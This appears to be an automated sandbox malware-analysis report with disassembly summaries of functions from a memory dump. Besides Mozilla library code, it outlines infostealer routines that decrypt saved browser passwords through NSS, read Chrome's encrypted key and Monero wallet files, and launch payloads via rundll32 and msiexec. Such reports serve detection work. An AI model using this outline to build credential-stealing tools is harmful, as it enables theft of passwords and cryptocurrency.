String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 02cf51e6553c81187c3de1f17ed6136a53f22b23158a6c5bf28025d1406f5218
Instruction ID: 1e6685c6775014ece4df64628f2a5ae84d6243ed891030621f67746c676f8a45
Opcode Fuzzy Hash: 02cf51e6553c81187c3de1f17ed6136a53f22b23158a6c5bf28025d1406f5218
Instruction Fuzzy Hash: BF513374B017426FDB009F359E5892A3BF8AB1A395714482DB961E3B52EF70CC41DFA4

Function 6CACCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CA9582D), ref: 6CACCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CA9582D), ref: 6CACCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CAFFE98,?,?,?,?,?,6CA9582D), ref: 6CACCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CA9582D), ref: 6CACCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CA9582D), ref: 6CACCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CA9582D), ref: 6CACCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA9582D), ref: 6CACCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CACCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CACCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CACCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CACCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CACCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CACCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CACCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CACCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CACCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CACCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CACCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CACCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CACCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CACCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CACCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CACCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CACCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CACCE8A

Strings

cpuallthreads, xrefs: 6CACCE16
unregisteredthreads, xrefs: 6CACCE58
jsallocations, xrefs: 6CACCD0E
noiostacks, xrefs: 6CACCCBE
samplingallthreads, xrefs: 6CACCE2C
nostacksampling, xrefs: 6CACCD7C
nativeallocations, xrefs: 6CACCDA8
leaf, xrefs: 6CACCC66
ipcmessages, xrefs: 6CACCDBE
seqstyle, xrefs: 6CACCCE6
processcpu, xrefs: 6CACCE6E
preferencereads, xrefs: 6CACCD92
Unrecognized feature "%s"., xrefs: 6CACCEA0
notimerresolutionchange, xrefs: 6CACCE00
fileio, xrefs: 6CACCC92
screenshots, xrefs: 6CACCCD4
fileioall, xrefs: 6CACCCA8
markersallthreads, xrefs: 6CACCE42
stackwalk, xrefs: 6CACCCF8
audiocallbacktracing, xrefs: 6CACCDD4
mainthreadio, xrefs: 6CACCC7C
java, xrefs: 6CACCC37
default, xrefs: 6CACCC21
power, xrefs: 6CACCE84

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 0e809becbc3bb1014f2f77b53cc05573626ca201ea5ec720609ea0d5a883e3f3
Instruction ID: 36f79e12d0d5f2b9f9e41ccb68a663e510749cc7052fc81f4eb83d541c65f922
Opcode Fuzzy Hash: 0e809becbc3bb1014f2f77b53cc05573626ca201ea5ec720609ea0d5a883e3f3
Instruction Fuzzy Hash: 3951FBD1B0522512FE1631166E10BAA1448EF1338EF18503AFD2AA1F80FF55DACF86B7

Function 6CA94470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA94730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA944B2,6CB0E21C,6CB0F7F8), ref: 6CA9473E
Part of subcall function 6CA94730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA9474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CA944BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CA944D2
InitOnceExecuteOnce.KERNEL32(6CB0F80C,6CA8F240,?,?), ref: 6CA9451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA9455C
LoadLibraryW.KERNEL32(?), ref: 6CA94592
InitializeCriticalSection.KERNEL32(6CB0F770), ref: 6CA945A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CA945AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CA945BB
InitOnceExecuteOnce.KERNEL32(6CB0F818,6CA8F240,?,?), ref: 6CA94612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CA94636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CA94644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA9466D
VerSetConditionMask.NTDLL ref: 6CA9469F
VerSetConditionMask.NTDLL ref: 6CA946AB
VerSetConditionMask.NTDLL ref: 6CA946B2
VerSetConditionMask.NTDLL ref: 6CA946B9
VerSetConditionMask.NTDLL ref: 6CA946C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA946CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CA946F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CA946FD

Strings

l, xrefs: 6CA94578
WRusr.dll, xrefs: 6CA944B5
user32.dll, xrefs: 6CA94557, 6CA9463F
kernel32.dll, xrefs: 6CA944CD
NativeNtBlockSet_Write, xrefs: 6CA946F7

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 7923fb521670821982c95cdc5e987f6ca3ade4b90c8db22129e6bb5e4998d1de
Instruction ID: d66cc6dab9b41d4f0a42cacf1ad6ff88890e6b4baccc49fb06ed18fc588f5738
Opcode Fuzzy Hash: 7923fb521670821982c95cdc5e987f6ca3ade4b90c8db22129e6bb5e4998d1de
Instruction Fuzzy Hash: 5C6105B0710388AFEB109F64CC4ABA97BF8FB66309F08855CE9149B651D7709985CF61

Function 0056C990 Relevance: 31.9, APIs: 15, Strings: 3, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0056C9A5

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0044E5B0,00000000,?,0058144C,00000000,?,?), ref: 0056CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0056CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0056CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0056CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0056CAD9
StrStrA.SHLWAPI(?,0044E6D0,00580B52), ref: 0056CAF7
StrStrA.SHLWAPI(00000000,0044E5C8), ref: 0056CB1E
StrStrA.SHLWAPI(?,0044E880,00000000,?,00581458,00000000,?,00000000,00000000,?,00449088,00000000,?,00581454,00000000,?), ref: 0056CCA2
StrStrA.SHLWAPI(00000000,0044EAA0), ref: 0056CCB9

Part of subcall function 0056C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0056C871
Part of subcall function 0056C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0056C87C
Part of subcall function 0056C820: PK11_GetInternalKeySlot.NSS3 ref: 0056C88A
Part of subcall function 0056C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0056C8A5
Part of subcall function 0056C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0056C8EB
Part of subcall function 0056C820: PK11_FreeSlot.NSS3(?), ref: 0056C961

StrStrA.SHLWAPI(?,0044EAA0,00000000,?,0058145C,00000000,?,00000000,00449038), ref: 0056CD5A
StrStrA.SHLWAPI(00000000,00449298), ref: 0056CD71

Part of subcall function 0056C820: lstrcat.KERNEL32(?,00580B46), ref: 0056C943
Part of subcall function 0056C820: lstrcat.KERNEL32(?,00580B47), ref: 0056C957
Part of subcall function 0056C820: lstrcat.KERNEL32(?,00580B4E), ref: 0056C978

lstrlen.KERNEL32(00000000), ref: 0056CE44
CloseHandle.KERNEL32(00000000), ref: 0056CE9C
NSS_Shutdown.NSS3 ref: 0056CEAA

Strings

XD, xrefs: 0056CB30
@D, xrefs: 0056CBA0
, xrefs: 0056C9C6

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID: $@D$XD
API String ID: 1052888304-694960550
Opcode ID: 4d9d6e804437d4a9e9008e60e5026aa397447b30f87bb37faa20b373bf2072d5
Instruction ID: 2ef95a30f8eb7eba8873c2b162b56644efffa3ee08678c88e688db217a61f8e3
Opcode Fuzzy Hash: 4d9d6e804437d4a9e9008e60e5026aa397447b30f87bb37faa20b373bf2072d5
Instruction Fuzzy Hash: 0BE12371800109ABDB15EBA4EC99FEEBB78BFD4300F008159F11A67191DF346A4ADF66

Function 6CA99590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA831C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CA83217
Part of subcall function 6CA831C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CA83236
Part of subcall function 6CA831C0: FreeLibrary.KERNEL32 ref: 6CA8324B
Part of subcall function 6CA831C0: __Init_thread_footer.LIBCMT ref: 6CA83260
Part of subcall function 6CA831C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CA8327F
Part of subcall function 6CA831C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA8328E
Part of subcall function 6CA831C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA832AB
Part of subcall function 6CA831C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA832D1
Part of subcall function 6CA831C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA832E5
Part of subcall function 6CA831C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA832F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA99675
__Init_thread_footer.LIBCMT ref: 6CA99697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA996E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA99707
__Init_thread_footer.LIBCMT ref: 6CA9971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA99773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA997B7
FreeLibrary.KERNEL32 ref: 6CA997D0
FreeLibrary.KERNEL32 ref: 6CA997EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA99824

Strings

NtMapViewOfSection, xrefs: 6CA99701
ntdll.dll, xrefs: 6CA996E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA99670
MapViewOfFileNuma2, xrefs: 6CA997B1

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: f950e8092fee0d6c95b4dbe8e96b147af93fe506c891b72164d3a5a8ccb9020d
Instruction ID: ad1476fa08fcc23408013dab5e95cad56bde56d2d2ce58aa84f5e62cb08ae158
Opcode Fuzzy Hash: f950e8092fee0d6c95b4dbe8e96b147af93fe506c891b72164d3a5a8ccb9020d
Instruction Fuzzy Hash: 4561C271700205AFDF00DF78D989B9A7BF5FB6A315F14451DE91993B90DB30A888CB92

Function 00572E30 Relevance: 21.5, APIs: 3, Strings: 9, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

ShellExecuteEx.SHELL32(0000003C), ref: 005731C5
ShellExecuteEx.SHELL32(0000003C), ref: 0057335D
ShellExecuteEx.SHELL32(0000003C), ref: 005734EA

Strings

/passive, xrefs: 0057345B
C:\Windows\system32\rundll32.exe, xrefs: 00573332
.msi, xrefs: 00573398
"" , xrefs: 0057309A
/i ", xrefs: 005733E4
C:\Windows\system32\msiexec.exe, xrefs: 005734BF
PD, xrefs: 00572E69
.dll, xrefs: 005731E5
<, xrefs: 00573490

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe$PD
API String ID: 2507796910-2564680441
Opcode ID: b0153823233749b679f5c1b52634fbc364e5e10c12c4cd220370dff77a4230a7
Instruction ID: b7896d66d5b329bb3332931977d45c5c82d70f41e727182a976d803b9a9f1db4
Opcode Fuzzy Hash: b0153823233749b679f5c1b52634fbc364e5e10c12c4cd220370dff77a4230a7
Instruction Fuzzy Hash: 6F12F0718001099ADB15FBA0EC5AFEE7B38BFD4300F508159F51A66195EF342B4ADF52

Function 005712D0 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 310COMMON

Download Yara Rule

Strings

D, xrefs: 005715A8

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: D
API String ID: 2001356338-1730635046
Opcode ID: 16bc69be43eb70ce07e897638b2208c71cb97d7b155f570b5c4cf465e91dd455
Instruction ID: 978fa2150842b9405f4733c9e1cf7cf5ff76f406c010c55892a8b8e1b7eb653c
Opcode Fuzzy Hash: 16bc69be43eb70ce07e897638b2208c71cb97d7b155f570b5c4cf465e91dd455
Instruction Fuzzy Hash: 00C183B5900219ABCB14EF60EC8DFEE7778BBD4304F008598E50E67141EB74AA85DF95

Function 00574280 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00578DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00578E0B

lstrcat.KERNEL32(?,00000000), ref: 005742EC
lstrcat.KERNEL32(?,0044F2C8), ref: 0057430B
lstrcat.KERNEL32(?,?), ref: 0057431F
lstrcat.KERNEL32(?,0044E670), ref: 00574333

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 00578D90: GetFileAttributesA.KERNEL32(00000000,?,00561B54,?,?,0058564C,?,?,00580E1F), ref: 00578D9F

Part of subcall function 00569CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00569D39

Part of subcall function 005699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005699EC
Part of subcall function 005699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00569A11
Part of subcall function 005699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00569A31
Part of subcall function 005699C0: ReadFile.KERNEL32(000000FF,?,00000000,0056148F,00000000), ref: 00569A5A
Part of subcall function 005699C0: LocalFree.KERNEL32(0056148F), ref: 00569A90
Part of subcall function 005699C0: CloseHandle.KERNEL32(000000FF), ref: 00569A9A

Part of subcall function 005793C0: GlobalAlloc.KERNEL32(00000000,005743DD,005743DD), ref: 005793D3

StrStrA.SHLWAPI(?,0044F3A0), ref: 005743F3
GlobalFree.KERNEL32(?), ref: 00574512

Part of subcall function 00569AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NV,00000000,00000000), ref: 00569AEF
Part of subcall function 00569AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00564EEE,00000000,?), ref: 00569B01
Part of subcall function 00569AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NV,00000000,00000000), ref: 00569B2A
Part of subcall function 00569AC0: LocalFree.KERNEL32(?,?,?,?,00564EEE,00000000,?), ref: 00569B3F

lstrcat.KERNEL32(?,00000000), ref: 005744A3
StrCmpCA.SHLWAPI(?,005808D1), ref: 005744C0
lstrcat.KERNEL32(00000000,00000000), ref: 005744D2
lstrcat.KERNEL32(00000000,?), ref: 005744E5
lstrcat.KERNEL32(00000000,00580FB8), ref: 005744F4

Strings

pD, xrefs: 00574325

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
